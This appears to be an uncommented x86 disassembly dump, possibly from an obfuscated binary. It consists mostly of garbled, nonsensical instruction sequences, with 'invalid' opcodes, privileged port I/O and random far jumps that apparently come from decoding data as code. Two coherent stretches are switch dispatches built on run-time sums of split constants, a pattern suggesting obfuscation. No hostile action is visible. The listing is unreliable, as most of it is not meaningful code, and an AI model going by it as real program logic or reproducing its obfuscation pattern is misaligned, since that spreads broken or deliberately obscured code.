fidivr dword [edi - 0x1a]
imul esp, dword [esi + ebp*4], 0x82b68346
nop
mov cs, word [edi - 0x16478ab0]
xor bh, byte [ebx]
pop ds
sbb al, 0x85
shl byte [esi], 1
insb byte es:[edi], dx
mov dl, al
cwde
fild dword [edx + 0xc]
mov byte [0x964516a4], al
xchg esp, eax
pop ebp
jbe 0x6e43b282
xor dword [esi - 0x70716f7e], 0x50
jne 0x6e43b219
jmp 0x8a62ed98
test dword [edi], edx
mov ah, 0xc4
jno 0x6e43b24b
and byte [ebp + 0x62313779], ch
jns 0x6e43b2bb
xor dword [edx - 0x64], esp
pushfd
scasd eax, dword es:[edi]
or edx, dword [edx]
int 0
jl 0x6e43b251
jp 0x6e43b286
pushal
sub byte [eax + 0x48af9d4b], ch
sbb dh, ah
adc al, 0x22
push es
sbb eax, dword [edi]
xchg ecx, esi
xchg ecx, esi
nop
int3
aad 0x49
pushal
sub byte [esi - 0x7c], dh
loop 0x6e43b244
lodsb al, byte [esi]
in al, 0xd9
and ch, byte [ebp - 0x385aa581]
jne 0x6e43b2a0
in al, 0x15
jns 0x6e43b258
adc eax, 0x61b9979
sbb eax, dword [esi]
retf
loope 0x6e43ca7a
fadd st(1)
daa
xchg ecx, eax
insb byte es:[edi], dx
retf
mov dh, 0x30
clc
dec ecx
mov eax, dword [0x247ff3bb]
push esp
das
mov ah, 8
loope 0x6e43ca9e
retf
mov edi, 0x783e6be
invalid
pop esi
adc dh, byte [ebp - 0x47]
inc edx
sub ecx, dword [ecx]
push 0x77
push 0xffffffffffffffb0
or byte [eax - 0x60c087fa], ah
in eax, 0xea
invalid
rcl dword [bx], 0x86
jns 0x6e43f96d
add esi, dword [edx + edi*4]
or byte [ebp + 0x10b32d16], bh
pop ss
lds ebp, [ecx - 0x1243e215]
mov word [eax + ebp*2 - 0x36e77aa3], gs
mov ebp, 0x688fa726
retf 0xc1fe
push 0xd2153958
outsd dx, dword [esi]
int 0x6b
cmp dl, dh
nop
std
pop ds
rol ch, 0x53
and eax, 0x5113ced4
cmp al, 0xe5
int1
add al, 0xb
wait
adc eax, 0xc7643ed7
push esp
insb byte es:[edi], dx
dec esp
push es
out 0xb4, al
or eax, dword [esi*8 - 0x781ffd3c]
retf 0xe3e6
cdq
pop edi
xchg esp, eax
pop esi
cmc
in eax, dx
xor dl, byte [edx + 0x4efcd64d]
adc ch, bh
hlt
nop
jmp 0x6e442802
nop
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x10]
mov edx, dword [0x6e93d024]
add eax, edx
mov dword [ebp - 0x10], eax
jmp 0x6e4b19f8
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
test eax, eax
jns 0x6e46d75d
mov dword [ebp - 0x158], 0x322df
mov dword [ebp - 0x154], 0
mov dword [ebp - 0x160], 0x4f848
mov dword [ebp - 0x15c], 0
mov ecx, dword [ebp - 0x158]
mov ebx, dword [ebp - 0x154]
mov eax, dword [ebp - 0x160]
mov edx, dword [ebp - 0x15c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x168], eax
mov dword [ebp - 0x164], edx
mov eax, dword [ebp - 0x168]
xor eax, 0xdd942
or eax, dword [ebp - 0x164]
je 0x6e45000f
mov edx, 0xdd942
mov eax, 0
cmp edx, dword [ebp - 0x168]
sbb eax, dword [ebp - 0x164]
jl 0x6e463124
mov eax, dword [ebp - 0x168]
xor eax, 0xd9207
or eax, dword [ebp - 0x164]
je 0x6e44b9a7
mov edx, 0xd9207
mov eax, 0
cmp edx, dword [ebp - 0x168]
sbb eax, dword [ebp - 0x164]
jl 0x6e463124
mov eax, dword [ebp - 0x168]
xor eax, 0xd8a9b
or eax, dword [ebp - 0x164]
je 0x6e44444f
mov edx, 0xd8a9b
mov eax, 0
cmp edx, dword [ebp - 0x168]
sbb eax, dword [ebp - 0x164]
jl 0x6e463124
mov eax, dword [ebp - 0x168]
xor eax, 0xcc9f3
or eax, dword [ebp - 0x164]
je 0x6e460237
mov edx, 0xcc9f3
mov eax, 0
cmp edx, dword [ebp - 0x168]
sbb eax, dword [ebp - 0x164]
jl 0x6e463124
mov eax, dword [ebp - 0x168]
xor eax, 0xcc785
or eax, dword [ebp - 0x164]
je 0x6e44733f
mov edx, 0xcc785
mov eax, 0
cmp edx, dword [ebp - 0x168]
sbb eax, dword [ebp - 0x164]
jl 0x6e463124
mov eax, dword [ebp - 0x168]
xor eax, 0xcc2d1
or eax, dword [ebp - 0x164]
je 0x6e451787
mov edx, 0xcc2d1
mov eax, 0
cmp edx, dword [ebp - 0x168]
sbb eax, dword [ebp - 0x164]
jl 0x6e463124
mov eax, dword [ebp - 0x168]
xor eax, 0xca34b
or eax, dword [ebp - 0x164]
je 0x6e44e897
mov edx, 0xca34b
mov eax, 0
cmp edx, dword [ebp - 0x168]
sbb eax, dword [ebp - 0x164]
jl 0x6e463124
mov eax, dword [ebp - 0x168]
xor eax, 0xbe5e1
or eax, dword [ebp - 0x164]
je 0x6e448ab7
mov edx, 0xbe5e1
mov eax, 0
cmp edx, dword [ebp - 0x168]
sbb eax, dword [ebp - 0x164]
jl 0x6e463124
mov eax, dword [ebp - 0x168]
xor eax, 0xbe435
or eax, dword [ebp - 0x164]
je 0x6e44d11f
mov edx, 0xbe435
mov eax, 0
cmp edx, dword [ebp - 0x168]
sbb eax, dword [ebp - 0x164]
jl 0x6e463124
mov eax, dword [ebp - 0x168]
xor eax, 0xbe398
or eax, dword [ebp - 0x164]
je 0x6e44a22f
mov edx, 0xbe398
mov eax, 0
cmp edx, dword [ebp - 0x168]
sbb eax, dword [ebp - 0x164]
jl 0x6e463124
mov eax, dword [ebp - 0x168]
xor eax, 0x9c486
or eax, dword [ebp - 0x164]
je 0x6e457567
mov edx, 0x9c486
mov eax, 0
cmp edx, dword [ebp - 0x168]
sbb eax, dword [ebp - 0x164]
jl 0x6e463124
mov eax, dword [ebp - 0x168]
xor eax, 0x94196
or eax, dword [ebp - 0x164]
je 0x6e452eff
mov edx, 0x94196
mov eax, 0
cmp edx, dword [ebp - 0x168]
sbb eax, dword [ebp - 0x164]
jl 0x6e463124
mov eax, dword [ebp - 0x168]
xor eax, 0x81b27
or eax, dword [ebp - 0x164]
je 0x6e463127
mov edx, 0x81b27
mov eax, 0
cmp edx, dword [ebp - 0x168]
sbb eax, dword [ebp - 0x164]
jl 0x6e463124
mov eax, dword [ebp - 0x168]
xor eax, 0x6f5d2
or eax, dword [ebp - 0x164]
je 0x6e442cd7
mov edx, 0x6f5d2
mov eax, 0
cmp edx, dword [ebp - 0x168]
sbb eax, dword [ebp - 0x164]
jl 0x6e463124
mov eax, dword [ebp - 0x168]
xor eax, 0x630bd
or eax, dword [ebp - 0x164]
je 0x6e458cdf
mov edx, 0x630bd
mov eax, 0
cmp edx, dword [ebp - 0x168]
sbb eax, dword [ebp - 0x164]
jl 0x6e463124
mov eax, dword [ebp - 0x168]
xor eax, 0x6230c
or eax, dword [ebp - 0x164]
je 0x6e455def
mov edx, 0x6230c
mov eax, 0
cmp edx, dword [ebp - 0x168]
sbb eax, dword [ebp - 0x164]
jl 0x6e463124
mov eax, dword [ebp - 0x168]
xor eax, 0x4eb28
or eax, dword [ebp - 0x164]
je 0x6e454677
mov edx, 0x4eb28
mov eax, 0
cmp edx, dword [ebp - 0x168]
sbb eax, dword [ebp - 0x164]
jl 0x6e463124
mov eax, dword [ebp - 0x168]
xor eax, 0x4abbb
or eax, dword [ebp - 0x164]
je 0x6e45bbcf
mov edx, 0x4abbb
mov eax, 0
cmp edx, dword [ebp - 0x168]
sbb eax, dword [ebp - 0x164]
jl 0x6e463124
mov eax, dword [ebp - 0x168]
xor eax, 0x4113e
or eax, dword [ebp - 0x164]
je 0x6e45eabf
mov edx, 0x4113e
mov eax, 0
cmp edx, dword [ebp - 0x168]
sbb eax, dword [ebp - 0x164]
jl 0x6e463124
mov eax, dword [ebp - 0x168]
xor eax, 0x1c0cb
or eax, dword [ebp - 0x164]
je 0x6e45a457
mov edx, 0x1c0cb
mov eax, 0
cmp edx, dword [ebp - 0x168]
sbb eax, dword [ebp - 0x164]
jl 0x6e463124
mov eax, dword [ebp - 0x168]
xor eax, 0x109dc
or eax, dword [ebp - 0x164]
je 0x6e45d347
mov edx, 0x109dc
mov eax, 0
cmp edx, dword [ebp - 0x168]
sbb eax, dword [ebp - 0x164]
jl 0x6e463124
mov eax, dword [ebp - 0x168]
xor eax, 0x66bd
or eax, dword [ebp - 0x164]
je 0x6e445bc7
mov eax, dword [ebp - 0x168]
xor eax, 0xee02
or eax, dword [ebp - 0x164]
je 0x6e4619af
jmp 0x6e463124
movsb byte es:[edi], byte [esi]
movsd dword es:[edi], dword [esi]
fdivr qword [ecx - 0x3d7a1865]
xchg ecx, eax
jb 0x6e442cea
fsubr qword [edx - 0x5c]
xor eax, 0xc3de2cbb
out 0xe4, al
mov word [0x94c15771], fs
inc esi
push edi
popal
sti
dec byte [edx - 0x2a]
int3
ffree st(2)
mov ebx, 0x6f9667b0
int3
add byte [esi + eax + 0x4c27cb6f], dl
adc al, 0x8a
jbe 0x6e444409
pop edx
ret
nop
invalid
invalid
jmp 0xde4474fd
jo 0x6e447352
mov ebp, edi
mov esp, 0xa9daf1c5
add eax, 0x6f4a027
pop eax
dec esp
jne 0x6e447395
sal dword [eax - 0x50], 1
sbb ebp, dword [edi + 0x7d8fe7db]
shl byte [edx + ebp*2 + 0xfecb300], 1
dec esi
ljmp 0xe9b1
je 0x6e447334
mov al, 0x1b
scasd eax, dword es:[edi]
invalid
jo 0x6e44733f
pop ss
pop edx
mov eax, dword [0xdae705d5]
xchg ecx, eax
mov ah, 0xcf
cmp ah, byte [esi - 0x3e]
in eax, 0xa2
lodsb al, byte [esi]
aad 0x52
xchg edi, eax
adc esi, dword [ebx + 4]
int 0x93
jle 0x6e44733b
add eax, 0xb491dae7
iretd
arpl word [esi + ebx*2 + 0x33f8fd28], bx
movsb byte es:[edi], byte [esi]
pop ebp
lodsb al, byte [esi]
in eax, 0x40
adc eax, 0xb020ba7a
jns 0x6e44737f
scasd eax, dword es:[edi]
pushal
push es
in al, dx
fsub qword [ecx]
shl dword [0x2e138a03], 1
sbb edi, dword [ebx + ecx*2 + 0x242f0571]
movsb byte es:[edi], byte [esi]
ja 0x6e44737d
jo 0x6e447379
cmp al, byte [ecx]
lodsb al, byte [esi]
mov esp, 0x16038d90
sub ah, bh
lds esp, [ebp + esi*8 - 0x306e6a13]
xchg esp, eax
sbb dword [ebx - 0x23], 0x55
mov ebp, 0xb74b7343
xor dword [eax + 0x5bc0a349], eax
out 0xbb, al
dec edx
mov dword [0xaad95b46], eax
sbb eax, ebp
in al, dx
test eax, 0x727e874e
invalid
stc
cmp byte [0xfe045389], cl
push ds
sbb edx, dword [ebp + 0x3b]
cmp cl, byte [edx]
lcall 0x94b5, 0x6fa89f6a
outsb dx, byte [esi]
bound esi, qword [ecx - 0x1588cb4c]
mov eax, dword [0x2d101465]
lodsb al, byte [esi]
xor ah, byte [esi + 0x47]
imul esp, dword [ebx + edx*2 - 0x79017eb9], 0xffffff8c
iretd
rol dword [0x616f88d1], cl
or al, 0xe7
ror dword [eax - 0x18f39e91], 1
out dx, eax
stc
imul eax, esp, 0x95e8a587
sal ebx, cl
add eax, 0xda7eb19
scasb al, byte es:[edi]
ror byte [ebp + 0x59e59ecb], cl
test al, 0x6a
jle 0x6e44a231
adc dl, byte [ebp + ebx*2 - 0x5a]
pop ebp
cmpsb byte [esi], byte es:[edi]
xchg bl, al
salc
fmul dword [eax + 0x49]
push es
lcall 0x89c6, 0xee33
pushfd
loop 0x6e44a254
xchg esi, eax
sub byte [ecx + 0x2e92cf9f], al
pop edi
pop ss
cmp eax, 0xf19c2c61
test dword [esi], esp
mov edx, 0x985751ee
scasd eax, dword es:[edi]
ret 0x6643
invalid
mov dword [0x1f12557a], eax
pop ecx
mov ch, 0x3d
pop eax
dec ebp
sbb esp, ebx
lodsd eax, dword [esi]
mov ecx, esp
aaa
xchg esi, eax
mov dh, 0xc1
invalid
push ds
adc dword [esi + 0x11], ecx
iretd
xchg ebp, eax
cmp al, 0x3e
push esi
std
sti
xor dword [esi], edi
adc eax, 0x4d9488d1
or dword [ebp + 0x589c0769], 0x6afaf38c
inc edx
cmp dword [edx], 0x1f
add eax, 0x3773dacf
nop
int3
sub bh, cl
loope 0x6e44ffe8
mov edx, cs
push edx
movsd dword es:[edi], dword [esi]
dec esp
adc esp, ecx
xchg ebx, eax
cmc
pop es
inc edi
xor al, 0x49
dec esi
jge 0x6e450008
int3
loope 0x6e450048
xor ebx, dword [ebx + eax*8 + 0x526b82d0]
lahf
nop
mov al, byte [0x7717958]
sbb byte [esi], dh
test esp, edx
inc edx
adc dword [edx + 9], edx
fidiv word [esi + esi*2 - 0x34ae827c]
sub eax, 0xd702fdd4
cli
retf
mov dword [edx - 0x6b], 0xc4e39cbd
add dword [esi - 0x4eaba6f5], ebx
sub byte [0x85e2878c], al
pushal
mov dh, 0x8e
mov word [esi], gs
imul ebx, dword [ebp - 0x47], 0xffffff8b
shl dword [eax + ebx + 0x66c50cd9], 0xd6
cmp byte [edi - 0x6112140b], ch
mov bl, 0xfd
pushal
sbb dword [ebx], 0x84314dfb
jmp 0x6e4500d0
push ebx
or ch, byte [edi + 0x62]
loop 0x6e450019
std
out 0xc7, al
inc esp
fdivr qword [ebp + 0x61]
mov fs, word [eax + 0x7c904620]
xchg edx, eax
mov dh, 0x75
mov ecx, 0x335537d2
push ecx
sbb ah, al
adc esi, eax
mov dl, 0x25
or byte [edx], cl
push 0x47
pop es
test al, 0xe5
push cs
loope 0x6e450035
mov dword [0x62403f16], eax
dec ecx
imul byte [edi - 0x43]
js 0x6e4500c0
adc eax, 0x532b490c
into
jno 0x6e450041
fbstp tbyte [ebx + ecx*8 + 0x23]
inc eax
sti
mov byte [0x2643347e], al
rol bl, 0xdb
sub dword [eax + eax*4 + 0x740e4393], 0xffffffaa
je 0x6e45007c
cld
invalid
xor bh, 0xfc
sbb eax, 0xe45f6be3
lodsd eax, dword [esi]
and eax, 0x5530d7f8
sbb eax, 0x5197b4e5
pop edx
popfd
xor dword [esi - 0x11], esp
add dword [edi], 0xffffff8e
mov al, 0xad
mov word [ebp + 0x4e], ds
mov ecx, eax
mov ebp, 0xd59cf609
pushfd
fsubr qword [ecx - 0x33]
iretd
cld
fisttp qword [0x65771b1c]
push ds
push esi
push ecx
retf
mov dl, 0x8b
imul esp, eax, 0x44dfb1a6
test al, 0x52
mov bl, 0x7c
pop ebp
sbb al, 0x50
lds esi, [eax - 0x4bae603b]
cwde
sub byte [ecx + 0x66ed906e], al
adc edi, dword [edi - 3]
clc
mov byte [ebx - 0x461b4c8c], 0x3a
push 0x16dbc422
mov al, byte [0xafd749a1]
outsd dx, dword [esi]
add eax, 0xd1740bed
fld xword [0x9179c180]
mov edx, 0x2341aedd
popfd
xchg ebx, eax
int3
inc ecx
rcr dword [edx + 0x31], 1
sub eax, 0xacccbc79
adc dword [esi - 0x74], eax
into
cmpsb byte [esi], byte es:[edi]
lodsd eax, dword [esi]
int 0xa3
dec esp
stosb byte es:[edi], al
popfd
add ch, bl
push eax
ficom dword [edx]
mov bl, 0x5f
sti
push ecx
fstp qword [ecx]
scasb al, byte es:[edi]
lodsb al, byte [esi]
pop ebp
lahf
mov byte [0x98377336], al
fidiv word [ebx - 0x3c]
xor byte [ebp + 0xa], bl
inc edx
push 0xfb7e076a
inc edi
xor ecx, eax
xor al, 0xf2
sal dword [ebx + ebp*8 + 0x72f95ac8], 1
salc
js 0x6e455e41
invalid
jae 0x6e455e82
inc ecx
and al, 0x19
adc byte [eax + 0x51], 0xce
ror al, cl
mov bh, 0x16
dec ebp
inc esp
inc esp
jns 0x6e455e55
adc byte [edx], ch
aas
push ds
les esi, [esp + 0x13667a3]
rcr byte [0x7b469e8a], 1
xor al, 0x56
jne 0x6e455e30
xchg esi, eax
pop ecx
retf 0xddb5
mov ebp, 0x80ae21e5
pop ss
loop 0x6e455eae
push ecx
aam 0xfe
je 0x6e455e8c
invalid
insd dword es:[edi], dx
stosb byte es:[edi], al
jge 0x6e455e50
loop 0x6e455ef4
inc ebx
ret
mov bl, 0xd
dec ecx
fstp qword [ebx]
stosb byte es:[edi], al
sub eax, 0x587874a7
and dl, byte ds:[eax - 0x3e5bdc34]
aam 0x6a
int3
dec ebx
mov ch, 0x40
mov dl, 0x4c
sub edx, esi
ret
mov ebp, 0x1ea376a
dec esi
mov dword [ebp + 0x77], 0x808c6087
mov eax, ebx
mov dword [0x8e21d4a6], eax
push ecx
xchg ecx, eax
add eax, 0x98ae37e0
inc edx
cld
ja 0x6e4575ed
daa
inc byte [esi]
adc dword [edi - 0x13a531b6], 0xfffffff4
push es
cmpsb byte [esi], byte es:[edi]
inc ebp
ficomp word [ecx - 0x5795b28a]
test dword [eax], edi
lodsd eax, dword [esi]
push ebp
scasd eax, dword es:[edi]
scasd eax, dword es:[edi]
ret
push 0xfffffffffffffffa
adc byte [esi], al
adc bh, byte [esi]
add eax, 0xd39f700f
invalid
xor eax, 0x66544603
mov cl, 0x7b
test dword [ecx], 0xadfa12bf
test al, bh
aad 0x45
cmp byte [esi - 0x5baea89d], dh
movsb byte es:[edi], byte [esi]
xor dword [edi - 0x50], edx
sbb dh, cl
jno 0x6e4575c2
scasd eax, dword es:[edi]
jge 0x6e457603
in eax, 0x7a
hlt
invalid
xor byte [ebx + edx*8 + 0x20], cl
invalid
mov al, byte [0x32ab278e]
add eax, 0xee72a5e3
mov dword [esi], 0x376490a5
add byte [esi + 0x4a4a18a4], dl
or eax, 0xaf660baf
pop edx
mov ebx, 0xf5fe75e2
mov esp, 0xaa01fc1d
in eax, dx
ret 0x22d2
test dword [edx + 0x785f53f5], edx
retf
fld xword [eax]
sub byte [edx - 0xa755861], 0xa5
out dx, al
loope 0x6e45d2ad
xchg edi, eax
and eax, edi
aaa
mov edi, dword [ecx - 0x20b55ebb]
mov ebx, 0x6967d90d
jno 0x6e45d347
mov ah, 0x21
out dx, al
salc
mov al, byte [0x4469632]
invalid
jp 0x6e45d3a5
invalid
fistp word [edx]
push edi
mov dword [ebp + 0x5e], edi
cmp dl, al
nop
int3
enter 0xffffffffffffc0d0, 0xfffffffffffffff7
bound edx, qword [ebp + 0x59b3ef61]
mov esi, dword [ebp + 0x36]
loop 0x6e45d2e8
rol dword [edx - 0x49], 1
test byte [ecx + 0x11], ch
lds esi, [ebx*8 + 0x308702c6]
stc
xchg esi, eax
das
lodsb al, byte [esi]
cdq
clc
imul esp, dword [esi], 0xfffffff9
cmp edx, dword [esi]
xchg ebp, eax
jae 0x6e45d3de
dec esp
pop ds
xor eax, 0x93e0bbc5
repe cmpsd dword [esi], dword es:[edi]
ja 0x6e45d32a
ret
pop eax
int3
xchg byte [esi + edi*2], dl
lodsd eax, dword [esi]
dec ecx
jl 0x6e45d338
pop edi
lds edx, [ebp - 0x2f]
sub al, 0x53
mov al, 0x6c
mov eax, dword [0xcef97c17]
lds edx, [esi]
inc esi
iretd
xchg dword [esi + 0x2623561f], ebp
sal dword [esi + 0x7f], cl
adc eax, 0x157839e3
js 0x6e45d3e5
lahf
pop es
cwde
arpl word [edx - 0x26], sp
lodsb al, byte [esi]
adc dword [ebp - 0x2217fa96], ebx
ja 0x6e45d3c1
loop 0x6e45d387
cmpsd dword [esi], dword es:[edi]
mov dword [eax], ebx
in eax, dx
jbe 0x6e45d3bb
movsd dword es:[edi], dword [esi]
and cl, ch
popfd
in eax, dx
mov ah, dl
dec ecx
cmpsb byte [esi], byte es:[edi]
fucom st(2)
jno 0x6e45d3ce
aaa
das
add byte [edx + 0x5095a5dc], bh
idiv bl
aad 0x4e
inc edi
pop ds
and al, 0x1b
or bl, byte [esi + ebx]
add al, 0xb2
adc byte [edx], 0x76
push ecx
xlatb
jbe 0x6e45d3e3
imul esp, dword [ecx + 0x15], 0xcc90b6d7
cmp eax, 0x7468401c
jp 0x6e45d462
push 0xee9da8fa
das
loope 0x6e45d3ad
inc ecx
bound edx, qword [esi - 0x3c21a066]
test edx, ebp
adc esi, edi
push 0x9584282
adc al, 0x94
arpl word [0x4f83dce4], sp
in eax, dx
mov eax, dword [0xf19b8102]
test eax, 0xc23b911f
fld qword [ebx - 0x179bec00]
iretd
stosd dword es:[edi], eax
shl byte [ebp - 0x17], 1
aad 0x7b
jp 0x6e45d4db
mov bl, 0xb
or dword [esi + 0x6d2c8cb5], 0xffffffbe
pop ds
add al, 0x15
daa
push ss
and al, 0x77
mov edi, 0x936ef601
xor eax, 0x4d2dff1
invalid
mov ecx, 0xc6083794
jecxz 0x6e45d55d
lcall 0x9772, 0x9cc9cc90
push eax
or esi, edi
push eax
cmp ah, dl
stosd dword es:[edi], eax
in al, dx
popfd
xchg edi, eax
pop edi
fidivr dword [0x8e13822d]
cld
sbb al, 0xf4
mov al, byte [0x4efc4d84]
invalid
insb byte es:[edi], dx
lodsd eax, dword [esi]
invalid
shr dword [esp + ebp*2], 1
cwde
pop ds
in al, 0xd4
xor byte [esi - 0x26], 0x36
invalid
wait
movsb byte es:[edi], byte [esi]
jae 0x6e45d523
shl byte [ebx - 0x3b], 1
in eax, dx
mov al, 0xa9
loop 0x6e45d53f
pop ss
adc bl, byte [ebx]
pop edx
and dword [ebx + ebx*8 + 0x2387e1e1], ebp
in al, dx
mov edi, 0xb5b09f7a
pop edx
sal dword [ebx], 0x41
inc ecx
setle byte [eax - 0x14987c2f]
jecxz 0x6e45d5b1
xchg ebp, eax
pop ecx
wait
imul ebp, dword [edi - 0x22], 0x2e44633f
out dx, eax
adc dword [ebp + 3], esp
or byte [eax + 0x4d30806c], dl
invalid
or byte [eax - 0x33886334], dl
ficom word [ebx - 0x17b9aea2]
pop edx
and bl, dh
mov cl, 0xb9
sbb esp, dword [0x64c50024]
sub ah, 0xd4
movaps xmm0, xmmword [edi]
push ecx
inc esi
call 0x2023f81b
mov ecx, 0x24251b
lds esp, [esi - 0x7e]
in al, dx
aam 0xf
sub byte [edi], al
insd dword es:[edi], dx
cmp cl, ch
push ds
xchg byte [edx + 0x56e88f96], dh
mov edx, 0x90cb05d3
sbb byte [esi + 0x20], ah
psubb mm6, qword [ebp - 0x33f0ac56]
je 0x6e45d60d
mov bh, 0xdd
jns 0x6e45d5ba
not dword [edx]
outsd dx, dword [esi]
add edi, edx
and al, byte [esi]
push edx
sub dl, dh
invalid
invalid
fmul qword [edx - 0x6e]
push ss
invalid
mov al, byte [0x6e86be44]
loope 0x6e45ea49
sbb dword [esi], esi
clc
retf 0xde39
mov ch, 0x96
push edx
ljmp 0xa4cf
mov ebp, 0x4d4b802c
aas
jmp 0x6e46021a
adc al, 0x27
ljmp 0xb354
lodsb al, byte [esi]
mov ebp, 0xd505a278
mov dh, 0x4d
pop ds
xchg ecx, eax
cmpsd dword [esi], dword es:[edi]
jnp 0x6e4619d2
add dword [ebp + 0x67], ecx
push 0x78
cwde
ljmp 0x8c50
jle 0x6e461904
cdq
bound edx, qword [eax - 0x74]
mov ch, 0x63
lds ebx, [edi + ecx + 0x56611149]
or eax, 0x6388f395
push ebp
xor cl, dh
invalid
mov cl, 0xb3
popal
sub al, ah
jge 0x6e461977
dec edx
in al, 0x2f
in eax, dx
jno 0x6e461963
imul ebx, ebx, 0x370e4377
lea edi, [edi - 0x36]
lodsd eax, dword [esi]
pop ds
test al, 0x62
dec eax
lodsb al, byte [esi]
add bl, byte [ebp + 0x48]
in al, 0
dec edx
mov eax, dword [0xe2b5ba77]
pop eax
mov eax, dword [0xc79f8642]
cld
ja 0x6e461a2c
mov dword [0x919ca837], eax
cli
add ah, 0x27
mov cl, 0x6c
push ebx
mov bl, 0x28
movsb byte es:[edi], byte [esi]
sbb ecx, dword [ebp + 0x5f]
js 0x6e4619cb
adc eax, 0xb2d6af3d
wait
mov ebx, 0x8183fccf
mov dword [0x20c2be97], eax
push edi
xchg di, ax
hlt
nop
stc
mov ebx, 0xdf851c6a
cli
aam 0xa7
popfd
sbb bl, byte [ebx - 0x28]
neg ecx
pop ebx
mov dh, bh
out 0xe0, al
scasd eax, dword es:[edi]
mov al, al
add edx, dword [ecx - 0x6da59618]
scasb al, byte es:[edi]
xchg esi, eax
sahf
loope 0x6e461a7c
pop ebp
or eax, 0x4154c48c
inc edi
xor eax, 0x948bb5d
and eax, 0x1fd27400
invalid
nop
int3
nop
jmp 0x6e463128
nop
mov eax, dword [ebp - 0x10]
mov eax, dword [eax]
movzx eax, ax
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x178], 0x6b8bc
mov dword [ebp - 0x174], 0
mov dword [ebp - 0x180], 0x98b86
mov dword [ebp - 0x17c], 0
mov ecx, dword [ebp - 0x178]
mov ebx, dword [ebp - 0x174]
mov eax, dword [ebp - 0x180]
mov edx, dword [ebp - 0x17c]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x184], edx
mov eax, dword [ebp - 0x188]
xor eax, 0x104442
or eax, dword [ebp - 0x184]
je 0x6e46d730
mov edx, 0x104442
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x6e46d733
mov eax, dword [ebp - 0x188]
xor eax, 0xf3691
or eax, dword [ebp - 0x184]
je 0x6e464a63
mov edx, 0xf3691
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x6e46d733
mov eax, dword [ebp - 0x188]
xor eax, 0xdad9f
or eax, dword [ebp - 0x184]
je 0x6e4632eb
mov edx, 0xdad9f
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x6e46d733
mov eax, dword [ebp - 0x188]
xor eax, 0xcbb32
or eax, dword [ebp - 0x184]
je 0x6e4661db
mov edx, 0xcbb32
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x6e46d733
mov eax, dword [ebp - 0x188]
xor eax, 0xa02b7
or eax, dword [ebp - 0x184]
je 0x6e46bfbb
mov edx, 0xa02b7
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x6e46d733
dec dword [edi]
mov word [esi - 0x74ffff5c], gs
test dword [eax - 2], edi
invalid
mov eax, dword [ebp - 0x188]
xor eax, 0x6637d
or eax, dword [ebp - 0x184]
je 0x6e46a843
mov edx, 0x6637d
mov eax, 0
cmp edx, dword [ebp - 0x188]
sbb eax, dword [ebp - 0x184]
jl 0x6e46d733
mov eax, dword [ebp - 0x188]
xor eax, 0x151bc
or eax, dword [ebp - 0x184]
je 0x6e467953
mov eax, dword [ebp - 0x188]
xor eax, 0x38b29
or eax, dword [ebp - 0x184]
je 0x6e4690cb
jmp 0x6e46d733
cmp al, 0xc7
jnp 0x6e463328
push ebp
adc ebx, dword [edx - 0x79]
cmp ch, 0xc9
push edi
jns 0x6e46327e
add cl, ch
lds edx, [edx + edi*8 - 0xc]
push edx
popal
movsd dword es:[edi], dword [esi]
cmpsd dword [esi], dword es:[edi]
enter 0x4aa8, 0x2a
invalid
sbb dword [eax + ecx - 0x1ce137c5], 0x3eaa7c9
lodsb al, byte [esi]
sal dword [eax], 1
inc esi
xchg ecx, eax
jp 0x6e463375
add dword [ecx + 0x3c], ecx
ljmp 0x305b
push esp
invalid
loope 0x6e463346
les ebp, [ecx - 0x4a17af66]
scasd eax, dword es:[edi]
pop edx
movsd dword es:[edi], dword [esi]
push cs
invalid
shl esp, 1
std
invalid
insb byte es:[edi], dx
and eax, 0x2fb2ea7e
aam 0xc7
xor eax, dword [ecx - 0x16048243]
fstp qword [ebx + 0x3acef82e]
push edx
sub byte [ecx + 0x2a], bh
sbb al, 0x5f
mov ch, dh
aad 0xb3
scasb al, byte es:[edi]
not dword es:[esi - 0x27]
mov ah, byte [eax + 0x51]
outsb dx, byte [esi]
enter 0x5b60, 0x42
add dl, byte [edx]
sbb dword [ecx + 0x51], esp
dec esp
and ecx, edx
mov dl, 0xbc
int 0x23
mov edi, dword [ecx - 0x4bf8e3b4]
xchg edx, eax
call 0xf449b6ff
xor edi, ecx
dec edi
sub edi, ebp
sub esi, esi
sti
imul esi, ebx, 0x3f166f6f
test dword [esi + 0x3b], edx
pop esi
in al, dx
rcl esp, 0x3e
pop ds
std
cmp cl, byte [ecx]
xor dword [ecx + 0x20], eax
add al, 0xc6
inc esi
outsb dx, byte [esi]
push 0xffffffffffffffbd
fbstp tbyte [edi + ebx*8 - 0x5e]
retf 0xf78
inc ebp
mov ecx, 0xa185c872
outsb dx, byte [esi]
cmp dl, dh
enter 0x2f24, 0x58
push 0x28
add dword [0xee0a3496], 0x47
mov cl, ah
sbb esp, dword [ebp + esi*8 - 0x74]
sub byte [0x97e706a5], dl
jl 0x6e467952
nop
int3
add dh, ch
out dx, al
mov ebp, 0xb52927b2
jp 0x6e46797a
and al, byte [esi]
popfd
fild word [ebx + 0x67900d9e]
pop eax
nop
pop eax
pop ds
mov byte [0xc1db0ed3], al
dec ebx
mov eax, 0x9ef1c6c
salc
cdq
mov bl, 0x3d
add cl, byte [edx + 0x3774ae5a]
aaa
cmp dword [edi - 0x56], 0xffffffbb
mov ebp, 0x10afd855
push cs
insd dword es:[edi], dx
out dx, eax
mov cl, 0x94
out dx, al
push 0x31
out 0xc8, eax
cmp al, 0x69
fsincos
adc dh, byte [eax + 0x51e8e443]
jecxz 0x6e467928
mov edx, 0x641b4e53
mov esi, 0xd08acf59
cli
jmp 0x6e467962
inc eax
aam 0xb9
xchg edx, eax
or ecx, edi
stosb byte es:[edi], al
dec edi
sub al, 0x58
fistp dword [esi + 0x3f]
or al, 0xc7
movsd dword es:[edi], dword [esi]
clc
mov bl, al
